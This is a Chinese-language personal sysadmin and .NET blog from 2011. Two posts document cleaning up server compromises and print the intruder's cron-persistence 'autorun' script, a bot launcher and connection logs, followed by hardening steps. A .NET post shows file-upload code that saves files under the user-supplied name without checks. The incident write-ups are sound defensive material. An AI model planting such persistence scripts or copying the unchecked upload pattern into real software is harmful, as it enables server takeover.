2011年11月30日 星期三

IE中使用迴圈呼叫jquery

//$(function(){
var stemp = "";
for (j=1;j < i;j++){
stemp = ".checkother"+j.toString();
$(stemp).click(function(){
var x = $(this).parent().nextAll('textarea');
if ($(this).attr('checked') != 'checked')x.css('display', 'none');
else x.css('display', 'inline');
x.css({
width:'75px',
height:'100px'
});
});
}
//});

i是全域變數,計算新增了幾組元素
在動態新增元素 checkbox, textarea 後
為了使新增的 textarea 可以開合
所執行的一段 jQuery
在 IE 8 中只有 for 迴圈最後一次指定到的元素會有動作
爛透了!!!!
只好改寫元素,在新增時加上 onclick 事件
將上述 jQuery 另外改寫為副程式呼叫

2011年11月18日 星期五

3303 port 異常

最近檢查netstat時發現我的機器要去連別人的 3303 port
對它查了一下
[root@test hack]# lsof -i:3303
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
crond 30760 apache 0u IPv4 146133427 TCP xxx-xxx-xxx-xxx.xxx:54619->206.246.0.109:opsession-clnt (SYN_SENT)
[root@test hack]# lsof -p 30760
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
crond 30760 apache cwd DIR 0,20 40 143575172 /dev/shm/.,
crond 30760 apache rtd DIR 253,0 4096 2 /
crond 30760 apache txt REG 0,20 152108 143575177 /dev/shm/.,/crond
crond 30760 apache mem REG 253,0 21948 1993206 /lib/libnss_dns-2.5.so
crond 30760 apache mem REG 253,0 129900 1993008 /lib/ld-2.5.so
crond 30760 apache mem REG 253,0 1693812 1993009 /lib/libc-2.5.so
crond 30760 apache mem REG 253,0 50848 1993948 /lib/libnss_files-2.5.so
crond 30760 apache mem REG 253,0 80636 1993039 /lib/libresolv-2.5.so
crond 30760 apache 0u IPv4 146133427 TCP xxx-xxx-xxx-xxx.xxx.xxx:54619->206.246.0.109:opsession-clnt (SYN_SENT)
crond 30760 apache 3u IPv4 146131264 UDP *:35863


嗯?用apache去呼叫crond?
查看cron log
[root@test cron]# vi /var/log/cron
Nov 18 11:01:01 web crond[31867]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:02:01 web crond[31870]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:03:01 web crond[31875]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:04:01 web crond[31883]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:05:01 web crond[31896]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:06:01 web crond[31906]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:07:01 web crond[31918]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:08:01 web crond[31927]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:09:01 web crond[31935]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)

趕羚羊!這三小!
每一分鐘都執行一次
看一下他在tmpfs裡執行什麼鬼
[root@test shm]# ls -lha
總計 0
drwxrwxrwt 3 root root 60 11月 12 03:32 .
drwxr-xr-x 2 apache apache 60 11月 18 08:25 .,
drwxr-xr-x 12 root root 3.8K 11月 16 09:11 ..

嗯? 沒有檔案嗎?
......
怎麼有二個上一層?
按! 靠北....邊走咧!
它把目錄命名成'.,'
仔細看目錄擁用者是apache
進去裡面瞧瞧
[root@test .,]# ls -lh
總計 392K
-rwxr-xr-x 1 apache apache 319 2月 22 2009 autorun
-rwxr-xr-x 1 apache apache 149K 6月 1 2001 crond
-rw-r--r-- 1 apache apache 45 11月 12 03:32 cron.d
-rwxr-xr-x 1 apache apache 8.5K 1月 24 2006 f
-rwxr-xr-x 1 apache apache 15K 11月 3 2005 f4
-rw-r--r-- 1 apache apache 12 11月 12 03:32 fl.dir
-rwxr-xr-x 1 apache apache 84 9月 22 13:32 fwd
-rwxr-xr-x 1 apache apache 11K 5月 30 2005 j
-rwxr-xr-x 1 apache apache 14K 5月 30 2005 j2
-rwxr-xr-x 1 apache apache 23K 7月 30 2004 mech.help
-rw-r--r-- 1 apache apache 1.1K 11月 18 08:00 mech.levels
-rw------- 1 apache apache 6 11月 18 08:22 mech.pid
-rw-r--r-- 1 apache apache 249 11月 18 08:00 mech.session
-rwxr-xr-x 1 apache apache 443 11月 2 17:16 mech.set
-rwxr-xr-x 1 apache apache 76 12月 8 2010 run
-rwxr-xr-x 1 apache apache 15K 2月 21 2005 s
-rwxr-xr-x 1 apache apache 17K 9月 19 2002 sl
-rwxr-xr-x 1 apache apache 16 2月 22 2009 start
-rwxr-xr-x 1 apache apache 15K 9月 3 2004 std
-rwxr-xr-x 1 apache apache 8.6K 1月 24 2006 stream
-rwxr-xr-x 1 apache apache 7.0K 1月 24 2006 tty
-rwxr--r-- 1 apache apache 169 11月 12 03:32 update
-rwxr-xr-x 1 apache apache 14K 11月 20 2002 v
-rwxr-xr-x 1 apache apache 15K 7月 22 2005 v2
-rwxr-xr-x 1 apache apache 915 3月 2 2005 x

很好...就是你們
因為 /dev/shm 權限預設是 777
先把你們挪去其他地方
接著把執行的程式砍了
[root@test shm]kill -9 30760

來研究一下
一開始應該是先執行這個
[root@test hack]# vi start
./autorun
./run
唔...再看這兩隻
[root@test hack]# vi autorun
#!/bin/sh
pwd > fl.dir
dir=$(cat fl.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/mech.pid; then
pid=\$(cat $dir/mech.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

[root@test hack]# vi run
#bin/bash
export PATH=:$PATH
crond
echo "Enjoy FloodBot based on OverKill"

總而言之它就是塞了一個 cron 給 crontab 執行
回頭再看一下 cron 的 log 檔
赫!! crond 還在執行它塞的那一句
查看一下 crontab -l
沒有看到啊......去那裡了呢?
啊!......它是以 apache 的身分建立的
要去 /var/spool/cron 底下找
[root@test cron]# ls -lh /var/spool/cron
總計 8.0K
-rw------- 1 apache root 45 11月 12 03:32 apache
-rw------- 1 root root 478 11月 17 09:27 root

把 apache 殺掉後,重啟 crond
OK! 沒有再執行了

截止目前為止,都是在把它移除跟清除的動作
再來要怎麼防止再次發生咧?
先找一下它是從裡來的
GOOGLE 找到了一篇說可能是從 phpMyAdmin 來的
因為這種大部分是預設名字的資料夾比較容易被猜到
進而從漏洞丟程式進來
所以先把 phpMyAdmin 拿掉了

再來,它是利用 crond 來重覆執行程式
記得鳥哥說可以只讓某些帳號使用 crond
查了一下,可以把 apache 加入 /etc/cron.deny
也可以只把允許使用的帳號加入 /etc/cron.allow
兩個檔案留一個就好
若兩個都在則 cron.allow 優先權較高
不然再更絕一點把兩個檔案都刪掉,只有 root 可以執行
上面說的都在 man crontab 裡
DESCRIPTION
Crontab is the program used to install, deinstall or list the tables used to drive the cron(8) daemon in ISC Cron. Each user can have their own crontab, and though these are files in /var/spool/ , they are not intended to be edited directly. For SELinux in mls mode can be even more crontabs - for each range. For more see selinux(8).

If the cron.allow file exists, then you must be listed therein in order to be allowed to use this command. If the cron.allow file does not exist but the cron.deny file does exist, then you must not be listed in the cron.deny file in order to use this command. If neither of these files exists, only the super user will be allowed to use this command.


架站當時對外 3303 port 就已經被我 DROP 掉了
所以它要跟其它機器溝通的封包都被我丟掉了

其實它把對外連結的程式也命名成 crond
讓我們在查看 ps 時會以為是系統的 crond 在執行
上述部分藍色字的部分

找資料時都沒有中文的網站
所以稍為寫的多一點
把很多當初查詢的關鍵字都寫到文章裡了

--
參考網站
http://forums.gentoo.org/viewtopic-t-802836-start-0.html
http://linux.vbird.org/linux_basic/0430cron.php#cron_deny

2011年10月13日 星期四

.NET DateTime

很開心的終於把程式寫好,發行到 server 上
請使用者上去 server 測試
使用者說他看到錯誤訊息...
這沒可能啊,我在本機明明就 run 的好好的
怎麼上到 server 就跟我說不行
打開
customErrors mode="Off"
從 server 執行出現錯誤
將字元字串轉換成 smalldatetime 資料類型時,轉換失敗。
= =""怎麼會咧
本機執行也沒出現這個錯誤啊
把本機執行的 sql 跟 server 的 sql 吐出來一看
真是暈倒
在塞入日期的部份分別是
'2011/10/13 11:32:48'
'2011/10/13 上午 11:32:48'
....................................................
我去你的上午(╯‵□′)╯︵┴─┴
最好是上午兩個字 sql server 會認得
因為我自己的本機是使用24小時制,所以沒這個問題
但 server 上卻是12小時制(又不是小學生...)
畢竟 server 是大家一起用的,只好改一下 DateTime 的部分
原本我只用 DateTime.Now 來填入時間的部分
改用
DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss");
萬事OK!
--
參考網站
http://forums.asp.net/t/1328021.aspx/1

2011年9月8日 星期四

.NET AjaxToolkit Editor

在.net中的ajax toolkit內附有HTML編輯器(Editor)
裝完toolkit後從工具箱拉出Editor放到頁面中按下run
結果出現下面的錯誤訊息...囧>





google "d:\hg\act\Server\AjaxControlToolkit\ExtenderBase\ScriptControlBase.cs"
雖然後很多資料(英文),但那些方法試了之後都沒有用...
直到我回過頭去找ajaxToolkit教學 =..=
...........啥咪!!!
為什麼教學影片裡會預設放了一個script manager............

拉了一個script manager後重新啟動...
果然就是少了你啊.....無言.....

--
參考網站
http://blog.blueshop.com.tw/topcat/archive/2007/06/12/51376.aspx
http://www.eggheadcafe.com/community/aspnet/17/10183088/ajax-editor--not-sure-how-to-get-started-i-keep-getting-an-error.aspx

2011年9月5日 星期一

HP P2000 G3 FC

最近新機器HP P2000 G3 FC到了
為了測試RAID5的復原速度及hot spare是否會自動替上
便將其中一顆硬碟抽出,以模擬硬碟問題的發生

在確認hot spare作動無誤且RAID也在重建資料後
便將硬碟插回去,結果它給我亮故障燈號...
燈號是琥珀色恆亮
查了document是寫說
Amber; solid¹
Offline; no activity. A failure or critical fault condition
has been identified for this drive.

啥咪呀,這樣子就critical fault喔
等等! solid後面有註解的樣子!
1. This Fault/UID state can indicate that the disk is a leftover. The fault may involve metadata on the disk, rather than the disk itself.
See the Clearing disk metadata topic in the reference guide or SMU online help.

喔喔,或許不是硬碟壞掉而是上面有多餘的metadata
登入機器後也的確顯示是leftover狀態
Tools->clean disk metadata

耶!成功
硬碟狀態回到available
這邊要注意一下
要將這顆硬碟重新指定給RAID做SPARE
狀態才會回到vdisk sp
下次真的掛掉才會自動替上

2011年5月12日 星期四

.net button

使用者在操作網頁過程中
常會不耐煩而多次點擊按鈕
為了不讓使用者一直點擊送出
通常會在點擊後使按鈕設為disabled
<asp:Button … onclientclick="this.disabled=true;">
但是這在.net中會造成連submit的動作也取消掉
    解決的方法有二
  1. 在onclick事件中加入
    Button1.Attributes["onclick"] = "this.disabled=true;" + this.Page.ClientScript.GetPostBackEventReference(button1, "");

  2. 在button標籤中加入
    <asp:Button … onclientclick="this.disabled=true;" UseSubmitBehavior="false"


參考網址內還有另一種解決方法
--
參考網址
http://gogo1119.pixnet.net/blog/post/29176264
http://tw.myblog.yahoo.com/frankintaiwan/article?mid=1095

2011年5月10日 星期二

.net excel

這天為了快樂的在程式中使用excel
開心的使用了ADO.NET的Microsoft.Jet.OleDb
哇讀取excel真方便啊
しかぁぁぁぁし
卻發生了有資料不見的情況= =
原來是用OleDb的寫法
系統只會去偵測前8列的欄位型態
會碰到如果前8列的A欄位為皆為數字,當第9列後A欄位為文字時,則會無法辦別而讀到NULL
可用HDR=NO;IMEX=1;解決
(HDR)使EXCEL中第一列欄位名當作內容用,(IMEX)當欄位為混合型態時以文字型態優先(也是只檢查前8列= =)
雖然有人提出改機碼的方法使偵測值為0
但我還是不滿足
所以我找了NPOI

幸運的是裡面有別人寫好的method可以用
不幸的是COPY過來後出現了
您是否漏掉了轉型?

這是因為我download的是1.2.3版
而範例的似乎是1.2.2版
所造成版本不符的關係
解決方法是強制轉型
HSSFSheet sheet = (HSSFSheet)workbook.GetSheet(SheetName);

使用範例提供的excelToDataTable
就沒有再發生掉資料的問題囉
めでたしめでたし~


--
參考網址
http://www.dotblogs.com.tw/puma/archive/2008/03/16/1652.aspx
http://bgm.pixnet.net/blog/post/21031912
http://sanchen.blogspot.com/2007/08/imex1-oledb-excel-null.html
http://club.excelhome.net/thread-488632-1-6.html
http://social.msdn.microsoft.com/Forums/zh-TW/233/thread/e396290a-cded-43fb-9a9f-d05b107a6e06/

2011年5月5日 星期四

.net FileUpload

懶得寫敍述了...直接貼
protected void Button1_Click(object sender, EventArgs e)
{
 if (FileUpload1.HasFile)
 {
  FileUpload1.PostedFile.SaveAs(Server.MapPath("~/upload/") + FileUpload1.FileName);
  uploadvalid.IsValid = false;
  uploadvalid.ErrorMessage = "Your file was uploaded successfully.";
 }
 else
 {
  uploadvalid.IsValid = false;
  uploadvalid.ErrorMessage = "You did not specify a file to upload.";
 }
}

雖說從提示方框中是這樣區分
FileUpload1.PostedFile.SaveAs("放文件名稱")
FileUpload1.SaveAs("完整路徑")
但我只放文件名稱的話還是會有問題
放完整路徑才OK

另外因為開發環境跟實際上線環境當然不一樣
所以完整路徑自然不能直接寫"C:/XXX"
要用到另一個方法Server.MapPath
將相對路徑轉換成絕對路徑

--
參考網站
http://blog.xuite.net/sunnysoap/r/16996207
http://msdn.microsoft.com/zh-tw/library/system.web.ui.webcontrols.fileupload.saveas%28v=vs.90%29.aspx#Y960
http://www.dotblogs.com.tw/mis2000lab/archive/2008/04/24/3455.aspx

2011年5月4日 星期三

.net 類別中使用Session和Response

寫一個cs檔放類別供呼叫時,會遇到無法直接使用Session和Response的情況
這時就要寫的迂迴一點
if (HttpContext.Current.Session["login"] == null)
HttpContext.Current.Response.Redirect("../");

以上
--
參考網址
http://www.w17x.com/AritcleDisplay.aspx?id=670

.net 使用外部dll

在網站專案上選擇新增參考->瀏覽->選要加入的dll檔案
加入後會放在自動新增的bin資料夾裡面
使用時要加上
using dllname;

2011年4月12日 星期二

Perl異常吃CPU

今天主機又被攻擊了= =
top內看到perl的程式把CPU吃光了,不過我沒抓下來
用netstat看一下從那裡來的@@
# netstat -n|more
Proto Recv-Q Send-Q Local Address           Foreign Address        State
tcp 0 0 xxx.xxx.xxx.xxx:80 134.208.xxx.xxx:49561 SYN_RECV
tcp 0 0 xxx.xxx.xxx.xxx:38693 69.64.47.228:5190 ESTABLISHED
你是誰啊= =
# lsof -i :5190
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
perl 2524 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2561 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2573 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2654 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2680 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2741 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 10443 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)

=..=每次攻擊都是這個域名公司的
全部kill掉後,上辜狗找到可能的原因是透過php的fileupload上來的,可執行的程式碼上傳到/tmp底下,利用/tmp預設大家都可寫入可執行的特色,進行攻擊。
進到/tmp底下發現名為'f'的檔案,手賤的我一看到它就rm掉了
忘了看它裡面寫什麼東西...= =""
但是網站還是需要上傳的功能,總不能把它關了
這時候就要利用mount -o noexec,nosuid的方式
將/tmp掛載成不能執行,不能使用指令的模式
# vi /etc/fstab
/dev/VG00/lv_tmp /tmp ext3 noexec,nosuid 1 2

#mount /tmp -o remount

希望降子能有效阻擋此類攻擊 囧>

--
參考網址
http://www.study-area.org/phorum/index.php?topic=59532.0
http://blog.teatime.com.tw/1/post/126